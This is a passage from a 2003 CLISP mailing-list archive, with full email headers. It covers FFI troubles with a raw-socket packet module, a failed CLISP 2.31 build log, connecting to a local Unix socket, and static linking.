> Please use FFI:C-LINES to include the appropriate headers instead. is of little help, since it's written with a mindset of expecting to link to some external libraries. It's of little use with one's own code. However, what could be recommended to Fred is to write a header file for his rawsock "library" (actually, your code stubs). This would declare the "buffer" variable. This could be included via (FFI:C-LINES ...) BTW, I think such a generic name - "buffer" - is a very bad choice for your variable. It'll get global scope in the object files and may interfere with other places. Fred, actually, what do you need it for? >Is there some example of a working program in the >FFI interface and all of the compilation process that works so I can use >it to make mine work? The ones on the web site - carried out step by step >- fail. Uh oh. Does anybody have time to work on this? I always find it very sad when something which has worked for years suddenly breaks. Maybe OUTPUT-C-VARIABLES should default to T, while OUTPUT-C-FUNCTIONS could be NIL. Maybe this would lead to even more chaos? Regards, Jorg Hohle. From fc@all.net Mon Sep 15 06:50:51 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ytkh-0006ib-00 for ; Mon, 15 Sep 2003 06:50:51 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ytkg-0004eP-83 for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 06:50:50 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8FDoI630252 for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 06:50:18 -0700 Message-Id: <200309151350.h8FDoI630252@all.net> Subject: Re: [clisp-list] Re: FFI errors - tracking them closer To: clisp-list@lists.sourceforge.net (Clisp List) In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE06993604@G8PQD.blf01.telekom.de> from "Hoehle, Joerg-Cyril" at Sep 15, 2003 10:45:10 AM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Per the message sent by Hoehle, Joerg-Cyril: > Hi, ... > However, what could be recommended to Fred is to write a header file > for his rawsock "library" (actually, your code stubs). This would > declare the "buffer" variable. This could be included via (FFI:C-LINES > ...) [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 15 06:51:13 2003 X-Original-Date: Mon, 15 Sep 2003 06:50:15 -0700 (PDT) Per the message sent by Hoehle, Joerg-Cyril: > Hi, ... > However, what could be recommended to Fred is to write a header file > for his rawsock "library" (actually, your code stubs). This would > declare the "buffer" variable. This could be included via (FFI:C-LINES > ...) It' such a little code snippet I figured it wasn't worth two files. > BTW, I think such a generic name - "buffer" - is a very bad choice for > your variable. It'll get global scope in the object files and may > interfere with other places. It is within the package RAWSOCK - so unless someone else modifies RAWSOCK to use the same variable we should be safe. Actually, in the new version I run into a conflict with the FFI macro offset - which hurts quite a bit. In the end I am having such problems with getting the new LISP to work properly that I have reverted for now to 2.27 which has none of the same problems. If I could get 3.1 to compile with static libraries (and then run of course) I would still use it, but because all of this has to run on a 180Meg CD-ROM with a lot of other stuff, adding or worse yet upgrading libraries is problematic. I only do it when I have to and can get away with it. After 20 or so tries I just gave up for a while. I will eventually get back to it. The reason for the upgrade in the first place it so I can then work on getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which seems to me to be an important step to using clisp for more industrial strength applications. > Fred, actually, what do you need it for? rawsock is used to allow lisp to examine and emit arbitrary packets over interfaces. It is a key part of a whole line of products - like my logging server, Responder, the soft diode, D-Wall, and Network Intelligence ToolKit. They all provide user programmable interfaces to networks with a router-like language interface in which you can reprogram the router functions by adding lisp to different places in the main control loop (fetch packet, examine packet, determine if this rule applies, if so store, modify, or whatever you want to the packet, and send the new packet out an interface. The Responder manual is online if you want more details: http://all.net/ - press "White Glove" then "Distributions" then "Responder". > >Is there some example of a working program in the > >FFI interface and all of the compilation process that works so I can use > >it to make mine work? The ones on the web site - carried out step by step > >- fail. > Uh oh. Does anybody have time to work on this? I always find it very > sad when something which has worked for years suddenly breaks. The change is pretty simple. All you need do is add a line to the lisp side that turns on the proper variables and the current examples work. It's pretty hard for someone who doesn't spend all of their time doing lisp programs to find some obscure variable in the multi-hundred page documentation and figure out they need to use it and how without an example. > Maybe OUTPUT-C-VARIABLES should default to T, while OUTPUT-C-FUNCTIONS > could be NIL. Maybe this would lead to even more chaos? I think that defaulting to T is a good idea - at least that would keep it compatible with the previous version. Actually the reversion to the old version necessitated removing the settings... On a final note - since I am complaining about stuff, it would sure be nice if the online manual had a comprehensive set of examples of the use of each function rather than the minimal examples it has - and if when pushing a button to drill down into an argument it gave you the syntax and set of possibilities for that argument rather than taking you to a dictionary definition of what the term means from which you have several drill-downs before you get to something useful. Hunting through the online manual can get to be pretty painful at times. Maybe a 'search' feature would solve it all - you get everything relevant and can look at one after the other instead of going down wrong line after wrong line. FC > Regards, > Jorg Hohle. -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From charlie.burrows@riskdecisions.com Mon Sep 15 08:24:54 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yvDi-0006w1-00 for ; Mon, 15 Sep 2003 08:24:54 -0700 Received: from mailgate.riskdecisions1.co.uk ([62.49.48.178] helo=riskdecisions.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yvDh-0000zy-Dt for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 08:24:53 -0700 Received: from riskdecisions.com ([192.168.2.53]) (authenticated user charlieb@riskdecisions.com) by riskdecisions.com (riskdecisions.com [192.168.2.65]) (MDaemon.PRO.v6.8.4.R) with ESMTP id 14-md50000000016.tmp for ; Mon, 15 Sep 2003 16:23:54 +0100 Message-ID: <3F65D989.3020008@riskdecisions.com> From: Charlie Burrows User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Authenticated-Sender: charlieb@riskdecisions.com X-Spam-Processed: riskdecisions.com, Mon, 15 Sep 2003 16:23:54 +0100 (not processed: message from valid local sender) X-MDRemoteIP: 192.168.2.53 X-Return-Path: charlie.burrows@riskdecisions.com X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, I've got a local socket server in C and I'm trying to get my clisp to connect to it but as it's a local socket it doesn't seem to have a port number so I can't use (socket:socket-connect). I have also tried to open the socket file as a file with: [...] Content analysis details: (-0.10 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] Can I connect to a local socket? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 15 08:25:12 2003 X-Original-Date: Mon, 15 Sep 2003 16:23:53 +0100 Hi, I've got a local socket server in C and I'm trying to get my clisp to connect to it but as it's a local socket it doesn't seem to have a port number so I can't use (socket:socket-connect). I have also tried to open the socket file as a file with: (with-open-file (sock (merge-pathnames (user-home-pathname) "test")) :direction :output :element-type 'character) (loop for i from - to 100 do (write-char #\A))) but I get "UNIX error 6 (ENXIO): no such device or address" presumably because the socket is not a "proper" file. The socket file is called test and in the expected place. Can anyone tell me the correct approach? The C code for the server is from http://www.advancedlinuxprogramming.com/listings/chapter-5/socket-server.c and all it does it listen, echo and quit on command. Thanks Charlie From don-sourceforge@isis.cs3-inc.com Mon Sep 15 12:08:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yyi7-0000o8-00 for ; Mon, 15 Sep 2003 12:08:31 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yyi6-0004sZ-0F for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 12:08:30 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8FJ5KK26276 for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 12:05:20 -0700 Message-Id: <200309151905.h8FJ5KK26276@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.4 (/) X-Spam-Report: -0.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: This is on an old linux, but I do have 2.27 running on it. I seem not to have done the build on this machine for 2.27. The reason I'm trying to build .31 here is that the rpm failed dependencies (lots of 'em). Here's the transcript from where the warnings seem to grow thick. [...] Content analysis details: (-0.40 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header Subject: [clisp-list] build problem 2.31 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 15 12:09:05 2003 X-Original-Date: Mon, 15 Sep 2003 12:05:20 -0700 This is on an old linux, but I do have 2.27 running on it. I seem not to have done the build on this machine for 2.27. The reason I'm trying to build .31 here is that the rpm failed dependencies (lots of 'em). Here's the transcript from where the warnings seem to grow thick. ... make[1]: Leaving directory `/d/clisp/clisp-2.31/src/libcharset' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c In file included from unix.d:35, from lispbibl.d:1772, from spvw.d:22: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from spvw.d:22: lispbibl.d:7506: warning: register used for two global register variables spvw.d: In function `main': spvw.d:1719: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork' ./comment5 spvwtabf.d | ./ansidecl | ./varbrace > spvwtabf.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabf.c In file included from unix.d:35, from lispbibl.d:1772, from spvwtabf.d:5: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from spvwtabf.d:5: lispbibl.d:7506: warning: register used for two global register variables ./comment5 spvwtabs.d | ./ansidecl | ./varbrace > spvwtabs.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c In file included from unix.d:35, from lispbibl.d:1772, from spvwtabs.d:7: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from spvwtabs.d:7: lispbibl.d:7506: warning: register used for two global register variables ./comment5 spvwtabo.d | ./ansidecl | ./varbrace > spvwtabo.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabo.c In file included from unix.d:35, from lispbibl.d:1772, from spvwtabo.d:5: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from spvwtabo.d:5: lispbibl.d:7506: warning: register used for two global register variables ./comment5 eval.d | ./ansidecl | ./varbrace > eval.c ./comment5 bytecode.d | ./ansidecl | ./varbrace > bytecode.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c eval.c In file included from unix.d:35, from lispbibl.d:1772, from eval.d:7: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from eval.d:7: lispbibl.d:7506: warning: register used for two global register variables eval.d: In function `unwind': eval.d:367: warning: comparison between signed and unsigned eval.d:375: warning: comparison between signed and unsigned eval.d:410: warning: comparison between signed and unsigned eval.d: In function `reset': eval.d:518: warning: comparison between signed and unsigned eval.d: In function `throw_to': eval.d:609: warning: comparison between signed and unsigned eval.d: In function `invoke_handlers': eval.d:643: warning: comparison between signed and unsigned eval.d:631: warning: variable `other_ranges' might be clobbered by `longjmp' or `vfork' eval.d:634: warning: variable `FRAME' might be clobbered by `longjmp' or `vfork' eval.d:646: warning: variable `i' might be clobbered by `longjmp' or `vfork' eval.d: In function `funcall_iclosure': eval.d:2307: warning: argument `closure' might be clobbered by `longjmp' or `vfork' eval.d:2307: warning: argument `args_pointer' might be clobbered by `longjmp' or `vfork' eval.d:2308: warning: argument `argcount' might be clobbered by `longjmp' or `vfork' eval.d: In function `eval': eval.d:2796: warning: argument `form' might be clobbered by `longjmp' or `vfork' eval.d: In function `eval_no_hooks': eval.d:2853: warning: argument `form' might be clobbered by `longjmp' or `vfork' eval.d: In function `interpret_bytecode_': eval.d:7302: warning: comparison between signed and unsigned eval.d:5794: warning: variable `byteptr' might be clobbered by `longjmp' or `vfork' eval.d:5803: warning: variable `closureptr' might be clobbered by `longjmp' or `vfork' eval.d:5783: warning: argument `closure' might be clobbered by `longjmp' or `vfork' eval.d:5784: warning: argument `codeptr' might be clobbered by `longjmp' or `vfork' ./comment5 control.d | ./ansidecl | ./varbrace > control.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c control.c In file included from unix.d:35, from lispbibl.d:1772, from control.d:8: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from control.d:8: lispbibl.d:7506: warning: register used for two global register variables control.d: In function `C_tagbody': control.d:1547: warning: variable `body' might be clobbered by `longjmp' or `vfork' ./comment5 encoding.d | ./ansidecl | ./varbrace > encoding.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c encoding.c In file included from unix.d:35, from lispbibl.d:1772, from encoding.d:7: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from encoding.d:7: lispbibl.d:7506: warning: register used for two global register variables encoding.d: In function `uni16be_mbstowcs': encoding.d:134: warning: comparison between signed and unsigned encoding.d: In function `uni16le_mbstowcs': encoding.d:162: warning: comparison between signed and unsigned encoding.d: In function `uni32be_wcstombs': encoding.d:459: warning: comparison between signed and unsigned encoding.d: In function `uni32le_wcstombs': encoding.d:479: warning: comparison between signed and unsigned encoding.d: In function `nls_mbstowcs': encoding.d:1409: warning: comparison between signed and unsigned encoding.d: In function `nls_asciiext_mbstowcs': encoding.d:1464: warning: comparison between signed and unsigned encoding.d: In function `nls_range': encoding.d:1658: warning: `i1' might be used uninitialized in this function encoding.d:1659: warning: `i2' might be used uninitialized in this function ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c pathname.c In file included from unix.d:35, from lispbibl.d:1772, from pathname.d:9: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from pathname.d:9: lispbibl.d:7506: warning: register used for two global register variables pathname.d: In function `parse_logical_word': pathname.d:1529: warning: `ch' might be used uninitialized in this function pathname.d: In function `C_launch': pathname.d:10862: warning: variable `exit_code' might be clobbered by `longjmp' or `vfork' ./comment5 stream.d | ./ansidecl | ./varbrace > stream.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c In file included from unix.d:35, from lispbibl.d:1772, from stream.d:8: /usr/include/string.h:38: warning: conflicting types for built-in function `memcpy' /usr/include/string.h:60: warning: conflicting types for built-in function `memcmp' /usr/include/string.h:67: warning: conflicting types for built-in function `strcpy' /usr/include/string.h:77: warning: conflicting types for built-in function `strcmp' In file included from stream.d:8: lispbibl.d:7506: warning: register used for two global register variables stream.d: In function `bitbuff_ixu_sub': stream.d:4277: warning: comparison between signed and unsigned stream.d:4288: warning: comparison between signed and unsigned stream.d: In function `bitbuff_ixs_sub': stream.d:4357: warning: comparison between signed and unsigned stream.d:4371: warning: comparison between signed and unsigned stream.d: In function `low_flush_buffered_handle': stream.d:6006: warning: comparison between signed and unsigned stream.d: In function `buffered_nextbyte': stream.d:6068: warning: comparison between signed and unsigned stream.d:6086: warning: comparison between signed and unsigned stream.d: In function `redisplay': stream.d:11785: warning: comparison between signed and unsigned stream.d: In function `clear_screen': stream.d:11968: warning: comparison between signed and unsigned stream.d: In function `insert_line': stream.d:12236: warning: comparison between signed and unsigned stream.d: In function `delete_line': stream.d:12320: warning: comparison between signed and unsigned stream.d: In function `C_set_window_cursor_position': stream.d:12860: warning: comparison between signed and unsigned stream.d:12860: warning: comparison between signed and unsigned stream.d: In function `low_flush_buffered_pipe': stream.d:13429: warning: comparison between signed and unsigned stream.d: In function `C_socket_options': stream.d:15248: `SO_RCVLOWAT' undeclared (first use this function) stream.d:15248: (Each undeclared identifier is reported only once stream.d:15248: for each function it appears in.) stream.d:15250: `SO_SNDLOWAT' undeclared (first use this function) stream.d:15252: `SO_RCVTIMEO' undeclared (first use this function) stream.d:15254: `SO_SNDTIMEO' undeclared (first use this function) stream.d: In function `C_socket_stream_shutdown': stream.d:15358: `SHUT_RD' undeclared (first use this function) stream.d:15369: `SHUT_WR' undeclared (first use this function) make: *** [stream.o] Error 1 From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 16 01:41:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zBOr-00012A-00 for ; Tue, 16 Sep 2003 01:41:29 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zBOr-0004W3-6k for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 01:41:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 16 Sep 2003 10:37:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 16 Sep 2003 10:37:49 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06C0E6FF@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: fc@all.net Subject: [clisp-list] Staticaly linking clisp and FFIs MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.7 (/) X-Spam-Report: 0.7/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, >I am trying to do a staticly linked version of clisp. Has >anyone ever tried this? >If so, is there any kind of hint out there? I haven't, but in the past I very much prefered to statically link only some of the libraries, and especially link dynamically against libc and other "OS-level" libraries. [...] Content analysis details: (0.70 points, 5 required) MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 01:42:03 2003 X-Original-Date: Tue, 16 Sep 2003 10:37:48 +0200 Hi, >I am trying to do a staticly linked version of clisp. Has >anyone ever tried this? >If so, is there any kind of hint out there? I haven't, but in the past I very much prefered to statically link only some of the libraries, and especially link dynamically against libc and other "OS-level" libraries. Statically linking Motif libraries has saved my applications a few times. There were lots of slightly incompatible Motifs out there. Statically linking libc or libucb or some such on Sun has killed my applications on various machines with other OS or configurations (e.g. libresolv, e.g. no more DNS name resolution). Statically linking application-level libraries (let's say, libreadline, although I never used that) also helped with distributing the application reliably. But that all happened a couple of years ago. Back then, the gcc linker had trouble with such mixed linking styles, and I used's Sun's linker. That's really old. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 16 02:19:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zBza-000376-00 for ; Tue, 16 Sep 2003 02:19:26 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zBzZ-0005AT-Rr for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 02:19:26 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 16 Sep 2003 11:17:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 16 Sep 2003 11:17:14 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06C0E726@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: fc@all.net Subject: [clisp-list] Re: FFI errors - tracking them closer MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: 0.2/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, >> BTW, I think such a generic name - "buffer" - is a very bad >choice for >> your variable. It'll get global scope in the object files and may >> interfere with other places. >It is within the package RAWSOCK - so unless someone else modifies >RAWSOCK to use the same variable we should be safe. [...] Content analysis details: (0.20 points, 5 required) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 16 02:20:03 2003 X-Original-Date: Tue, 16 Sep 2003 11:17:13 +0200 Hi, >> BTW, I think such a generic name - "buffer" - is a very bad >choice for >> your variable. It'll get global scope in the object files and may >> interfere with other places. >It is within the package RAWSOCK - so unless someone else modifies >RAWSOCK to use the same variable we should be safe. I didn't mean the Lisp variable. I meant the C one. It gets global scope across all objects. You wrote: >; (setq snaplen 1514) >(def-c-var buffer (:name "buffer"... which leads (or lead, until recent past) to >extern uint8 (buffer)[1518]; extern/global, not static. Maybe you could use (def-c-var buffer (:name "packet_analyser_snapshot_buffer") or whatever? >> Fred, actually, what do you need it for? I meant the C variable buffer that you want to access from Lisp. Could you use dynamically allocated memory instead? Could you use :out FFI parameter modes instead, which can supply arrays? Especially for your recvfr() and sendt(), this could make a difference, otherwise all such function stomp on the same single buffer. But that's maybe what you want (maintain performance by not copying twice each packet, which reminds me of a paper written by the guys who reimplemented TCP/IP in SML). BTW, 16 or 20 bytes timestamp? >char timestamp[20], >(def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none)) So to summarize, I believe (without trying) that the following is necessary to get rawsock to work with clisp-2.31 o provide some rawsock.h which declares the variables and functions o (FFI:C-LINES "#getting the file size limit up to 4 Tbytes instead of 2.1Gbytes - which I have now seen a system with a 2,7GB sized logfile! I was real happy that "less" worked correctly with it. Sadly, Emacs doesn't work with huge logfiles, and I miss it's incremental search and built-in grepping facilities. >It' such a little code snippet I figured it wasn't worth two files. You're not mainstream :-) I'm joking, and I find it sad that the automated linkkit module mechanism seems to oblige one to provide a one-line '(MAKE-PACKAGE "e.g. LDAP")' file (witness modules/dirkey/preload.lisp), which will result in the build of an intermediate 1MB image file, all of which is wasted space IMHO. But I repeat myself here. I also find the statement "HD space is cheap these days" false and blinding. Please provide cheap HD space to every computer owner world wide (don't forget China, India etc.). I'm sure you bank will want to talk to you. Regards, Jorg Hohle. From fc@all.net Tue Sep 16 07:17:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19zGe1-0000SW-00 for ; Tue, 16 Sep 2003 07:17:30 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19zGe0-0002E7-Sn for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 07:17:29 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8GEGqt03592 for clisp-list@lists.sourceforge.net; Tue, 16 Sep 2003 07:16:52 -0700 Message-Id: <200309161416.h8GEGqt03592@all.net> Subject: Re: [clisp-list] Re: FFI errors - tracking them closer To: clisp-list@lists.sourceforge.net (Clisp List) In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE06C0E726@G8PQD.blf01.telekom.de> from "Hoehle, Joerg-Cyril" at Sep 16, 2003 11:17:13 AM From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in 